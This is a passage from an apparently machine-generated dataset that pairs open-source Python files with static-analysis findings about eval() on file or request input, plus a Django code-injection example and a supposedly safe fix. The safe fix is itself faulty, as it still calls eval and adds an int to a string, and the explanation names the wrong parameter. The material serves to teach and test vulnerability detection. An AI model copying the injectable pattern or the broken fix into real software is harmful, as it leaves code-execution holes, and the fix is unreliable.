file=sys.stderr)\n print(f\" #left_only = {left_only.shape[0]}: keep twins scores (or put a zero score)\", file=sys.stderr)\n if left_only.shape[0] > 0:\n print_only_ids(left_only, '学籍番号', 5)\n print(f\" #right_only = {right_only.shape[0]}: ignored\", file=sys.stderr)\n if right_only.shape[0] > 0:\n print_only_ids(right_only, '学籍番号', 5)\n \"\"\"\n newtwins['総合評価'].fillna(0, inplace=True)\n newscores = newtwins['総合評価'].astype('int')\n del newtwins['総合評価']\n newtwins = pd.concat([twins, newscores], axis=1, ignore_index=True)\n newtwins.columns=['科目番号', '学籍番号', '学期区分', '学期評価', '総合評価']\n new_id_scores = newtwins[['学籍番号', '総合評価']]\n return newtwins, new_id_scores\n\n#### record\ndef record(meibofilename, csvfilename2s):\n df = read_meibo(meibofilename)\n df.rename(columns={'学籍番号':0}, inplace=True)\n for csvfilename2 in csvfilename2s:\n df2 = pd.read_csv(csvfilename2, header=None, skipinitialspace=True)\n df = pd.merge(df, df2, on=0, how='outer')\n df.rename(columns={0:'学籍番号'}, inplace=True)\n df = df.sort_values(by=['所属学類','学籍番号'], ascending=True)\n return df\n\nif __name__ == '__main__':\n import argparse\n\n parser = argparse.ArgumentParser(description='support tools of scoring for performance evaluation', prog='score')\n parser.add_argument('csvfile')\n parser.add_argument('-marksheet', nargs=2, default=None, metavar=('ref', 'desired_pscore'))\n parser.add_argument('-crate', action='store_true', default=False)\n parser.add_argument('-join', default=None, metavar='csvfile2')\n parser.add_argument('-record', nargs='+', default=None, metavar=('csvfile2'))\n parser.add_argument('-twins', action='store_true', default=False)\n parser.add_argument('-adjust', nargs=3, type=float, default=None, metavar=('x', 'y', 'xmax'))\n parser.add_argument('-a2djust', nargs=4, type=float, default=None, metavar=('A+', 'A', 'B', 'C'))\n parser.add_argument('-interval', nargs=2, type=int, default=None, metavar=('min', 'max'))\n parser.add_argument('-distribution', action='store_true', default=False)\n parser.add_argument('-abcd', action='store_true', default=False)\n parser.add_argument('-statistics', action='store_true', default=False)\n parser.add_argument('-gakuruistat', default=None, metavar='csv-meibo-utf8')\n parser.add_argument('-nostdout', action='store_true', default=False)\n parser.add_argument('-output', default=None, metavar='filename')\n\n args = parser.parse_args()\n\n if args.marksheet and args.twins:\n print(\"scoring error: exclusive options: -marksheet and -twins\", file=sys.stderr)\n exit()\n\n if args.record and args.twins:\n print(\"scoring error: exclusive options: -record and -twins\", file=sys.stderr)\n exit()\n\n if args.record:\n print(\"NOTICE:\", file=sys.stderr)\n print(\"-record option ignores all other options but -output option\", file=sys.stderr)\n df = record(args.csvfile, args.record)\n if args.output:\n df.to_excel(args.output, index=False)\n else:\n df.to_csv(sys.stdout, index=False)\n exit()\n\n if args.marksheet:\n QuestionReferences = eval(open(args.marksheet[0]).read())\n id_scores = marksheetScoring(args.csvfile, args.crate, int(args.marksheet[1]))\n else:\n if args.twins:\n id_scores, twins = read_twins_upload_file(args.csvfile)\n else:\n # id_scores = pd.read_csv(args.csvfile, header=None, dtype=int, skipinitialspace=True)\n id_scores = pd.read_csv(args.csvfile, header=None, dtype=object, skipinitialspace=True)\n id_scores.fillna('0', inplace=True)\n id_scores = id_scores.astype('int')\n\n if args.join:\n if args.twins:\n id_scores = join(id_scores, args.join, 'left')\n else:\n id_scores = join(id_scores, args.join, 'outer')\n\n if args.adjust:\n id_scores = adjust(id_scores, args.adjust)\n if args.a2djust:\n id_scores = a2djust(id_scores, args.a2djust)\n if args.interval:\n id_scores = interval(id_scores, args.interval)\n\n if args.twins:\n twins, id_scores = twinsjoin(twins, id_scores, args.join)\n\n if args.statistics:\n print_stat(id_scores.iloc[:,1])\n if args.abcd:\n print_abcd(id_scores.iloc[:,1])\n if args.gakuruistat:\n print_stat_gakurui(id_scores, args.gakuruistat)\n if args.distribution:\n print_distribution(id_scores.iloc[:,1])\n\n if not args.nostdout or args.output:\n if args.output:\n output = args.output\n else:\n output = sys.stdout\n if args.twins:\n twins.to_csv(output, index=False, encoding='cp932')\n else:\n id_scores.to_csv(output, index=False, header=False)\n", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 508, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "508"}}, {"lineNo": 509, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 509, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 509, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "ed3820f894594325f5052cc02f6c9015deacddb6be93d22ee25acc0890c86799", "license": {"spdx": ["MIT"], "repo": "nacharya/edgex_access", "path": "edgex_access/__init__.py", "repo_head_hexsha": "c0b7599293de20ab15f026f76f6c695cbd70cf76", "stack_hexsha": "23cac308a34dcaf01cafa829f5840828d064c5be", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 5, "entireCode": "import os\nimport sys\n\npath = os.path.join(__path__[0], 'version.py')\n__version__ = eval(open(path).read())\n__all__ = ['EdgexAccess', 'EdgexConfig', 'EdgexStore', 'EdgexObject', 'EdgexHash',\n 'EdgexStoreBase', 'EdgexAccessBase',\n 'EdgexFSStore',\n 'EdgexFSAccess',\n 'EdgexGoogStore',\n 'EdgexGoogAccess',\n 'EdgexMemStore',\n 'EdgexMemAccess',\n 'EdgexMeta',\n 'EdgexS3Store',\n 'EdgexS3Access',\n # errors\n 'EdgexException',\n 'AccessDenied',\n 'AccountProblem',\n 'AmbiguousGrantByEmailAddress',\n 'BadDigest',\n 'BucketAlreadyExists',\n 'BucketAlreadyOwnedByYou',\n 'BucketNotEmpty',\n 'CredentialsNotSupported',\n 'CrossLocationLoggingProhibited',\n 'EntityTooSmall',\n 'EntityTooLarge',\n 'ExpiredToken',\n 'IllegalVersioningConfigurationException',\n 'IncompleteBody',\n 'IncorrectNumberOfFilesInPostRequest',\n 'InlineDataTooLarge',\n 'InternalError',\n 'InvalidAccessKeyId',\n 'InvalidAddressingHeader',\n 'InvalidArgument',\n 'InvalidBucketName',\n 'InvalidBucketState',\n 'InvalidDigest',\n 'InvalidEncryptionAlgorithmError',\n 'InvalidLocationConstraint',\n 'InvalidObjectState',\n 'InvalidPart',\n 'InvalidPartOrder',\n 'InvalidPayer',\n 'InvalidPolicyDocument',\n 'InvalidRange',\n 'InvalidRequest',\n 'InvalidSecurity',\n 'InvalidSOAPRequest',\n 'InvalidStorageClass',\n 'InvalidTargetBucketForLogging',\n 'InvalidToken',\n 'InvalidURI',\n 'InvalidCommand',\n 'InvalidStore',\n 'InvalidDataBuffer',\n 'KeyTooLong',\n 'MalformedACLError',\n 'MalformedPOSTRequest',\n 'MalformedXML',\n 'MaxMessageLengthExceeded',\n 'MaxPostPreDataLengthExceededError',\n 'MetadataTooLarge',\n 'MethodNotAllowed',\n 'MissingAttachment',\n 'MissingContentLength',\n 'MissingRequestBodyError',\n 'MissingSecurityElement',\n 'MissingSecurityHeader',\n 'NoLoggingStatusForKey',\n 'NoSuchBucket',\n 'NoSuchKey',\n 'NoSuchLifecycleConfiguration',\n 'NoSuchUpload',\n 'NoSuchVersion',\n 'NotSignedUp',\n 'NotSuchBucketPolicy',\n 'OperationAborted',\n 'PermanentRedirect',\n 'PreconditionFailed',\n 'Redirect',\n 'RestoreAlreadyInProgress',\n 'RequestIsNotMultiPartContent',\n 'RequestTimeout',\n 'RequestTimeTooSkewed',\n 'RequestTorrentOfBucketError',\n 'SignatureDoesNotMatch',\n 'ServiceUnavailable',\n 'SlowDown',\n 'TemporaryRedirect',\n 'TokenRefreshRequired',\n 'TooManyBuckets',\n 'UnexpectedContent',\n 'UnresolvableGrantByEmailAddress',\n 'UserKeyMustBeSpecified',\n 'EmptyTag']\n\nfrom .edgex_exceptions import *\nfrom .edgex_base import *\nfrom .edgex_fs import *\nfrom .edgex_s3 import *\nfrom .edgex_mem import *\nfrom .edgex_goog import *\nfrom .edgex_access import *\n", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 5, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 5, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 5, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "beb62a0b8e4ecd937e0212d9b87e532cf3404c43ae146f42f332c7e017644f01", "license": {"spdx": ["MIT"], "repo": "lamperi/aoc", "path": "2015/8/solve.py", "repo_head_hexsha": "1781dcbac0be18a086c10a9b76fb6a2d3595523c", "stack_hexsha": "2614f851ef9425f7794c079f43d4b3b88fe772a8", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 26, "entireCode": "import re\n\nwith open(\"input.txt\") as file:\n data = file.read()\n\n# lazy!\ndef decode(line):\n return eval(line)\n\ndef encode(text):\n replaces = {r'\\x': r'\\\\x',\n r'\\\"': r'\\\\\\\"',\n r'\"': r'\\\"',\n r'\\\\': r'\\\\\\\\'}\n regex = re.compile(\"|\".join(map(re.escape, replaces.keys())))\n return '\"' + regex.sub(lambda mo: replaces[mo.group(0)], text) + '\"' \n\n# test\nprint(encode(r'\"\"'))\nprint(encode(r'\"abc\"'))\nprint(encode(r'\"\\x27\"')) \n\n# PART 1\ntotal = 0\nfor line in data.splitlines():\n s = decode(line)\n total += len(line) - len(s)\nprint(total)\n\n\n# PART 2\n\n \ntotal = 0\nfor line in data.splitlines():\n s = encode(line)\n d = decode(s)\n if line != d:\n print(\"FAIL!\")\n break\n total += len(s) - len(line)\nprint(total)\n", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}, {"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 26, "eventType": "source", "messageKey": "synz.COMMON.value.passed.to", "params": {"arg0": "decode"}}, {"lineNo": 26, "eventType": "source", "messageKey": "synz.COMMON.called", "params": {"arg0": "decode"}}, {"lineNo": 26, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "cf9d4dfdc02b7d78310678a5b5beaf23a58e83d7af666ed1dead8af75ff808f4", "license": {"spdx": ["MIT"], "repo": "pattrickx/object_detection_dataset_preparer", "path": "utils/lendo_json.py", "repo_head_hexsha": "d72a0f04bbbcf37396f4b923df11a3a1a98ee995", "stack_hexsha": "07155d17d8f05acc2a4d8fc0f81526a47727054c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 7, "entireCode": "import glob\n\n\n\ndef chaves_valores(path): # mostra tudo entro de dados\n text = open(path, 'r').read()\n dic_text = eval(text)\n\n print(\"mostrando valores e chaves\")\n guias = dic_text['guias']\n for s in guias:\n for pagen in s:\n for key in s[pagen]['dados']:\n print(f\"key: {key} \\n value:{s[pagen]['dados'][key]}\")\n print(\"#############################################\")\n\ndef chaves_especifica(path,key='cliente'): # mostra chave especifica dentro de dados\n text = open(path, 'r').read()\n dic_text = eval(text)\n\n print(\"mostrando valores e chaves\")\n guias = dic_text['guias']\n for s in guias:\n for pagen in s:\n print(f\"key: {key}: \\nvalue:{s[pagen]['dados'][key]}\")\n print(\"#############################################\")\n\n\nfor path in glob.glob(\"./*json\"):\n print(path)\n chaves_especifica(path)\n\n print(\"##################################################################################\")", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 6, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 6, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 6, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 7, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "d4af103aa4ca7ab405d1947ccd7aca46ecfbfd6151b1c09d5b5023a9fb367c59", "license": {"spdx": ["MIT"], "repo": "Napam/INF399-Master-DeepLearning", "path": "volume/generators.py", "repo_head_hexsha": "2f97eae4750ea9766bcad60c26dee9f9a14fafa4", "stack_hexsha": "6f17d3384bbb4f7fec462e48af5adab78d60502e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 75, "entireCode": "\"\"\"\nIMPORTANT INFO!!!\n\nDETR is made to output [class, (center_x, center_y, width, height)]!!!!!!!\n\nWHILE BLENDER DATASET IS (AT THIS TIME) [class, (topLeftX, topLeftY, width, height)]!!!!!!!!!!!!!\n\"\"\"\n\nimport sqlite3 as db\nimport pandas as pd\nimport numpy as np\nfrom torch.utils.data import Dataset\nfrom typing import Dict, Iterable, Optional, Sequence, Union, Callable, List, Tuple, Generator\nfrom torch import nn\nimport torch.nn.functional as F\nimport torch\nfrom PIL import Image\nimport os\nfrom skimage import io\nfrom abc import abstractmethod, ABC\nfrom pprint import pprint\nfrom matplotlib import pyplot as plt\nfrom matplotlib import patches\nfrom utils import debug, debugt, debugs\n\n\ndef np_to_torch_img(img: np.ndarray):\n # np.ndarray[H, W, C] --> torch.Tensor[C,H,W]\n return torch.as_tensor(img, dtype=torch.float32).permute((2, 0, 1))\n\n\nclass BlenderDatasetBase(Dataset, ABC):\n def __init__(\n self,\n data_dir: str,\n table: str,\n batch_size: int,\n imgnrs: Optional[Iterable[int]] = None,\n n_classes: Optional[int] = None,\n shuffle: bool = True,\n preprocessor: Optional[Callable[[torch.tensor], torch.tensor]] = None,\n *ppargs,\n **ppkwargs,\n ):\n \"\"\"\n data_dir: str, path to blender generated_data directory\n table: str, name of sqlite3 table\n imgnrs: Iterable of indices, used to specify which images should be visible for the\n generator\n \"\"\"\n self.con = db.connect(f'file:{os.path.join(data_dir,\"bboxes.db\")}?mode=ro', uri=True)\n self.c = self.con.cursor()\n\n query = f\"SELECT * FROM {table}\"\n\n if imgnrs is not None:\n query += f' WHERE imgnr IN ({\",\".join(str(i) for i in imgnrs)})'\n\n self.df: pd.DataFrame = pd.read_sql_query(query, con=self.con)\n\n self.n = len(pd.unique(self.df[\"imgnr\"]))\n\n if n_classes is None:\n n_classes = len(self.df[\"class_\"].unique())\n\n # np.unique sorts by default\n self.indices = np.unique(self.df[\"imgnr\"])\n\n if shuffle:\n self.shuffle_indices()\n\n self.img_dir = os.path.join(data_dir, \"images\")\n\n with open(os.path.join(data_dir, \"metadata.txt\")) as f:\n self.num2name = eval(f.readline())\n\n self.batch_size = batch_size\n self.data_dir = data_dir\n self.preprocessor = preprocessor\n self.ppargs = ppargs\n self.ppkwargs = ppkwargs\n\n def __str__(self):\n return f\"{self.__class__.__name__}(\\x1b[33mdata=\\x1b[m{self.data_dir}, \\x1b[33mindex_range=\\x1b[m{[min(self.indices), max(self.indices)]})\"\n\n def shuffle_indices(self):\n np.random.shuffle(self.indices)\n\n def __len__(self) -> int:\n return self.n // self.batch_size\n\n def _get_batch_indices(self, batchnr: int) -> Iterable:\n # print(f'From {self.batch_size*batchnr} to {self.batch_size*(batchnr+1)}')\n return self.indices[self.batch_size * batchnr : self.batch_size * (batchnr + 1)]\n\n def get_image(self, path: str):\n img: np.ndarray = io.imread(path) / 255\n return img\n\n def get_labels(self, batchnr: int) -> pd.DataFrame:\n indices = self._get_batch_indices(batchnr)\n return self.df.query(\"imgnr in @indices\").loc[:, \"class_\":]\n\n @abstractmethod\n def get_batch(self, batchnr: int):\n raise NotImplementedError()\n\n def __getitem__(self, batchnr: int):\n # zero indexes, so much stop one iteration before len\n if batchnr >= len(self):\n raise StopIteration\n return self.get_batch(batchnr)\n\n\nclass BlenderStandardDataset(BlenderDatasetBase):\n def __init__(\n self,\n data_dir: str,\n table: str,\n batch_size: int,\n imgnrs: Optional[Iterable[int]] = None,\n n_classes: Optional[int] = None,\n shuffle: bool = True,\n preprocessor: Optional[Callable[[torch.tensor], torch.tensor]] = None,\n *ppargs,\n **ppkwargs,\n ):\n \"\"\"\n data_dir: str, path to blender generated_data directory\n table: str, name of sqlite3 table\n \"\"\"\n super().__init__(\n data_dir=data_dir,\n table=table,\n batch_size=batch_size,\n imgnrs=imgnrs,\n n_classes=n_classes,\n shuffle=shuffle,\n preprocessor=preprocessor,\n *ppargs,\n **ppkwargs,\n )\n\n def get_batch_images(self, batch_indices: Iterable):\n return [self.get_image(os.path.join(self.img_dir, f\"img{i}.png\")) for i in batch_indices]\n\n def get_batch(\n self, batchnr: int\n ) -> Tuple[\n List[Tuple[Sequence[Sequence[Sequence[float]]]]],\n List[Tuple[Sequence[int], Sequence[Sequence[float]]]],\n ]:\n \"\"\"\n Get batch\n\n If preprocess function is found in self, then things will be preprocessed\n \"\"\"\n # Get indices of current batch\n # indices correspond to imgnr\n\n batch_indices: Iterable = self._get_batch_indices(batchnr)\n X_batch: List[np.ndarray] = self.get_batch_images(batch_indices)\n\n # If preprocessor function is given\n if self.preprocessor is not None:\n for i in range(self.batch_size):\n X_batch[i] = self.preprocessor(X_batch[i], *self.ppargs, **self.ppkwargs)\n\n y_batch: List[Tuple[Sequence[int], Sequence[Sequence[float]]]] = []\n\n for i in batch_indices:\n temp = self.df.query(\"imgnr == @i\").values\n # 0th column: imgnr, 1st column: class_, rest is bbox\n y_batch.append((temp[:, 1].astype(int), temp[:, 2:]))\n\n return X_batch, y_batch\n\n def plot_bbox(self, img, bboxes, ax):\n img_h, img_w = img.shape[:-1]\n\n for class_, (x, y, w, h) in zip(*bboxes):\n topLeftCorner = (x * img_h, y * img_w)\n ax.add_patch(\n patches.Rectangle(\n topLeftCorner,\n w * img_w,\n h * img_h,\n facecolor=\"none\",\n edgecolor=\"red\",\n linewidth=2,\n alpha=0.4,\n )\n )\n ax.text(\n x=topLeftCorner[0],\n y=topLeftCorner[1],\n s=self.num2name[int(class_)],\n bbox=dict(facecolor=\"red\", alpha=0.4, linewidth=2, edgecolor=\"none\"),\n color=\"w\",\n fontsize=10,\n )\n\n def plot_batch(self, batchnr: int, figsize: Optional[Sequence[int]] = None):\n imgs, bboxes = self.get_batch(batchnr)\n # print(imgs)\n if figsize is None:\n figsize = (7, 5)\n\n fig, axes = plt.subplots(1, len(imgs), figsize=figsize)\n\n for img, bboxes_for_img, ax in zip(imgs, bboxes, np.ravel(axes)):\n ax.imshow(img)\n self.plot_bbox(img, bboxes_for_img, ax)\n\n\nclass BlenderStereoDataset(BlenderStandardDataset):\n def __init__(\n self,\n data_dir: str,\n table: str,\n batch_size: int,\n imgnrs: Optional[Iterable[int]] = None,\n n_classes: Optional[int] = None,\n shuffle: bool = True,\n preprocessor: Optional[Callable[[torch.tensor], torch.tensor]] = None,\n *ppargs,\n **ppkwargs,\n ):\n\n super().__init__(\n data_dir,\n table,\n batch_size,\n imgnrs=imgnrs,\n n_classes=n_classes,\n shuffle=shuffle,\n preprocessor=preprocessor,\n *ppargs,\n **ppkwargs,\n )\n\n def get_batch_images(self, batch_indices: int) -> List[Tuple[np.ndarray]]:\n return [\n (\n self.get_image(os.path.join(self.img_dir, f\"img{i}_L.png\")),\n self.get_image(os.path.join(self.img_dir, f\"img{i}_R.png\")),\n )\n for i in batch_indices\n ]\n\n def plot_batch(self, batchnr: int, figsize: Optional[Sequence[int]] = None):\n imgs, bboxes = self.get_batch(batchnr)\n # Pick out left images\n imgs = [leftright[0] for leftright in imgs]\n\n if figsize is None:\n figsize = (7, 5)\n\n fig, axes = plt.subplots(1, len(imgs), figsize=figsize)\n\n for img, bboxes_for_img, ax in zip(imgs, bboxes, np.ravel(axes)):\n ax.imshow(img)\n self.plot_bbox(img, bboxes_for_img, ax)\n\n\nclass Blender3DDataset(BlenderStereoDataset):\n \"\"\"\n CREATE TABLE {cng.BBOX_DB_TABLE_FULL} (\n {cng.BBOX_DB_IMGRNR} INTEGER NOT NULL,\n {cng.BBOX_DB_CLASS} INTEGER NOT NULL,\n x FLOAT(4) NOT NULL,\n y FLOAT(4) NOT NULL,\n z FLOAT(4) NOT NULL,\n w FLOAT(4) NOT NULL,\n l FLOAT(4) NOT NULL,\n h FLOAT(4) NOT NULL,\n rx FLOAT(4) NOT NULL,\n ry FLOAT(4) NOT NULL,\n rz FLOAT(4) NOT NULL\n )\n \"\"\"\n def __init__(\n self,\n data_dir: str,\n table: str,\n batch_size: int,\n imgnrs: Optional[Iterable[int]] = None,\n n_classes: Optional[int] = None,\n shuffle: bool = True,\n preprocessor: Optional[Callable[[torch.tensor], torch.tensor]] = None,\n *ppargs,\n **ppkwargs,\n ):\n\n super().__init__(\n data_dir,\n table,\n batch_size,\n imgnrs=imgnrs,\n n_classes=n_classes,\n shuffle=shuffle,\n preprocessor=preprocessor,\n *ppargs,\n **ppkwargs,\n )\n\n def plot_batch(self, batchnr: int, figsize: Optional[Sequence[int]] = None):\n imgs, bboxes = self.get_batch(batchnr)\n # Pick out left images\n imgs = [leftright[0] for leftright in imgs]\n\n if figsize is None:\n figsize = (7, 5)\n\n fig, axes = plt.subplots(1, len(imgs), figsize=figsize)\n\n for img, ax in zip(imgs, np.ravel(axes)):\n ax.imshow(img)\n\n\nclass TorchStandardDataset(BlenderStandardDataset):\n def __init__(\n self,\n data_dir: str,\n table: str,\n batch_size: Optional[int] = None, # Unused\n imgnrs: Optional[Iterable[int]] = None,\n n_classes: Optional[int] = None,\n shuffle: bool = True,\n preprocessor: Optional[Callable[[torch.tensor], torch.tensor]] = None,\n device: Optional[torch.device] = None,\n *ppargs,\n **ppkwargs,\n ):\n \"\"\"\n data_dir: str, path to blender generated_data directory\n table: str, name of sqlite3 table\n \"\"\"\n super().__init__(\n data_dir=data_dir,\n table=table,\n batch_size=1,\n imgnrs=imgnrs,\n n_classes=n_classes,\n shuffle=shuffle,\n preprocessor=preprocessor,\n *ppargs,\n **ppkwargs,\n )\n self.device = device\n\n def get_batch(self, batchnr: int) -> Tuple[List[torch.Tensor], List[Dict[str, torch.Tensor]]]:\n X_batch, y_batch = super().get_batch(batchnr)\n\n X_batch: torch.Tensor = np_to_torch_img(X_batch[0]).to(self.device)\n\n # None device will default to CPU or something (it doesn't crash hehe)\n y_batch: Dict[str, torch.Tensor] = {\n \"labels\": torch.as_tensor(y_batch[0][0], dtype=torch.long, device=self.device),\n \"boxes\": torch.as_tensor(y_batch[0][1], dtype=torch.float32, device=self.device),\n }\n\n # Monkey patch hehe\n # tlx, tly, w, h (tl = top left) ---> cx, cy, w, h\n boxestensor: torch.Tensor = y_batch[\"boxes\"]\n boxestensor[:, 0] = boxestensor[:, 0] + boxestensor[:, 2] * 0.5 # x + w / 2\n boxestensor[:, 1] = boxestensor[:, 1] + boxestensor[:, 3] * 0.5 # y + h / 2\n\n return X_batch, y_batch\n\n def plot_batch(self, batchnr: int):\n (img,), (bboxes,) = super().get_batch(batchnr)\n plt.imshow(img)\n self.plot_bbox(img, bboxes, plt.gca())\n\n\nclass TorchStereoDataset(BlenderStereoDataset):\n def __init__(\n self,\n data_dir: str,\n table: str,\n batch_size: int = 1, # not used\n imgnrs: Optional[Iterable[int]] = None,\n n_classes: Optional[int] = None,\n shuffle: bool = True,\n preprocessor: Optional[Callable[[torch.tensor], torch.tensor]] = None,\n device: Optional[torch.device] = None,\n *ppargs,\n **ppkwargs,\n ):\n super().__init__(\n data_dir,\n table,\n 1,\n imgnrs=imgnrs,\n n_classes=n_classes,\n shuffle=shuffle,\n preprocessor=preprocessor,\n *ppargs,\n **ppkwargs,\n )\n self.device = device\n\n def get_batch(\n self, batchnr: int\n ) -> Tuple[\n List[Sequence[Sequence[Sequence[float]]]],\n List[Tuple[Sequence[int], Sequence[Sequence[float]]]],\n ]:\n X_batch, y_batch = super().get_batch(batchnr)\n\n # List of length 1 of tuples that contains left and right images (H, W, C)\n X_batch: List[Tuple[np.ndarray]]\n X_batch: Tuple[np.ndarray] = X_batch[0]\n X_batch: Tuple[torch.Tensor] = (\n np_to_torch_img(X_batch[0]).unsqueeze(0).to(self.device),\n np_to_torch_img(X_batch[1]).unsqueeze(0).to(self.device),\n )\n\n # None device will default to CPU or something (it doesn't crash hehe)\n y_batch: List[Dict[str, torch.Tensor]] = {\n \"labels\": torch.as_tensor(y_batch[0][0], dtype=torch.long, device=self.device),\n \"boxes\": torch.as_tensor(y_batch[0][1], dtype=torch.float32, device=self.device),\n }\n\n # Monkey patch hehe\n # tlx, tly, w, h (tl = top left) ---> cx, cy, w, h\n boxestensor: torch.Tensor = y_batch[\"boxes\"]\n boxestensor[:, 0] = boxestensor[:, 0] + boxestensor[:, 2] * 0.5 # x + w / 2\n boxestensor[:, 1] = boxestensor[:, 1] + boxestensor[:, 3] * 0.5 # y + h / 2\n return X_batch, y_batch\n\n def plot_batch(self, batchnr: int):\n (img,), (bboxes,) = super().get_batch(batchnr)\n img = img[0]\n plt.imshow(img)\n self.plot_bbox(img, 